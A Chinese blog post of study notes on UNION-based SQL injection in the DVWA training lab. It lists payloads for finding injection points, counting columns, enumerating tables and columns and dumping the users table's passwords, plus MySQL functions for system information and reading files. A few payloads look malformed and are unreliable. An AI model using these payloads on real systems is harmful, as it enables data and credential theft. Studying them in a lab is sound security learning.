DVWA SQL注入union
数字型注入
1 and 1=1
1 and 1=2
返回数据不一样则有注入点且为数字型注入
//判断列数
?id=and 1 order by 6 //返回正确
?id=and 1 order by 7 //返回错误
得到列数为6
查数据库:1 and 1=2 union select 1,database()
字符型注入
'and 1=1 and'1'='1
'and 1=2 and'1'='1
?id=and 1 order by 6# //返回正确
?id=and 1 order by 7# //返回错误
得到列数为6
查数据库:0' union select 1,database()#
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查字段名:0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
查数据:0' union select 1,group_concat(password) from users #
group_concat 可替换为 concat_ws(',',id,users,password )
查数据:0' union select 1,password from users limit 0,1# //只查一行
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file:读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
本文作者:Xxiaomaa
本文链接:https://www.cnblogs.com/mhwq/p/18542801
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步